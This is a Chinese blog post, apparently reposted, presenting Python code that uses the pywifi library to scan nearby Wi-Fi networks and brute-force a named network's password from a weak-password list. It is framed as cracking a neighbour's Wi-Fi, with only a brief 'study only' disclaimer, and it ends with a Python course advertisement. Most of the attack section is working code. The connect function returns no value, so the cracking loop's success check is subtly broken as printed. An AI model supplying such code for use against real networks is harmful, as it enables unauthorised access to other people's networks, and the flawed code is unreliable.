admin管理员组文章数量:1574959
家里没有怎么办,只要你会Python,办法总比困难多
本文就利用pywifi 这个库实验一下如何破解Wi-Fi 密码,注意,该方法仅可用来研究学习所用,不可以拿去干坏事。
1. pywifi 简介
pywifi是一个Python库,它提供了对无线网络接口的控制,允许你扫描周围的无线网络,以及连接到无线网络。但请注意,这个库并不意味着可以绕过网络安全措施来非法连接网络。
2. 环境配置
在开始之前,你需要确保Python已经安装在你的计算机上,并且安装了pywifi库。你可以使用pip命令来安装pywifi:
pip install pywifi
pip install comtypes
3. 扫描周围的Wi-Fi网络
接下来,我们将展示如何使用pywifi来扫描周围的Wi-Fi网络。
from pywifi import PyWiFi, const, Profile
import time
def scan_wifi():
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.scan()
time.sleep(1)
results = ifaces.scan_results()
for network in results:
print(f"SSID: {network.ssid}, 信号强度: {network.signal}")
scan_wifi()
这段代码将列出你周围所有Wi-Fi网络的SSID(网络名称)和信号强度。
4. 连接到Wi-Fi网络
把周围所有的WIFI网络扫出来后就可以逐个的去尝试连接了。
先来封装一个函数
pythonCopy codedef connect_wifi(ssid, password):
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
assert ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
profile = Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
ifaces.remove_all_network_profiles()
tmp_profile = ifaces.add_network_profile(profile)
ifaces.connect(tmp_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
print("连接成功")
else:
print("连接失败")
connect_wifi('你的网络名称', '你的密码')
这段代码尝试连接到一个指定的Wi-Fi网络。请将'你的网络名称'
和'你的密码'
替换为实际的网络名称和密码。
注意在代码示例中使用sleep
函数主要是为了确保在执行网络操作(如扫描或连接)之间有足够的时间让硬件和操作系统处理这些请求。sleep
会暂停当前线程指定的时间(以秒为单位),这在网络编程中尤其有用,因为许多网络操作都不是立即完成的。
然后我们在网上找一个弱口令库,用穷举法进行逐个去尝试,这种方法又称为暴力破解法
def try_pwd():
print("****************** WIFI破解 ******************")
# 密码本路径
path = "pwd.txt"
# 打开文件
file = open(path, "r")
ssid = "TP-LINK_2020"
while True:
try:
pwd = file.readline()
# 去除密码的末尾换行符
pwd = pwd.strip('\n')
bool = connect_wifi("TP-LINK_2020", pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
print(f"正在破解 SSID 为 {ssid} 的 WIFI密码,当前校验的密码为:{pwd}")
except:
continue
try_pwd()
运气好的情况下,几分钟就破解了,如果密码WI-FI密码设置复杂最长一两天也是可能的,特别是如果是纯数字密码,使用最短的8位数字,最多也就1亿种可能,这对于一台计算机来说不是什么难事,你睡一觉起来就跑完了。 所以,你家的WiFi密码一定不要设置太简单了,最好是多种字符组合,防止被隔壁老王破解了。
关于Python学习指南
学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后给大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!
包括:Python激活码+安装包、Python web开发,Python爬虫,Python数据分析,人工智能、自动化办公等学习教程。带你从零基础系统性的学好Python!
👉Python所有方向的学习路线👈
Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。(全套教程文末领取)
👉Python学习视频600合集👈
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
温馨提示:篇幅有限,已打包文件夹,获取方式在:文末
👉Python70个实战练手案例&源码👈
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
👉Python大厂面试资料👈
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
👉Python副业兼职路线&方法👈
学好 Python 不论是就业还是做副业赚钱都不错,但要学会兼职接单还是要有一个学习规划。
👉 这份完整版的Python全套学习资料已经上传,朋友们如果需要可以扫描下方CSDN官方认证二维码免费领取【保证100%免费
】
版权声明:本文标题:用 Python 破解老王家的 Wi-Fi 密码,刺激! 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1727780623a1129279.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论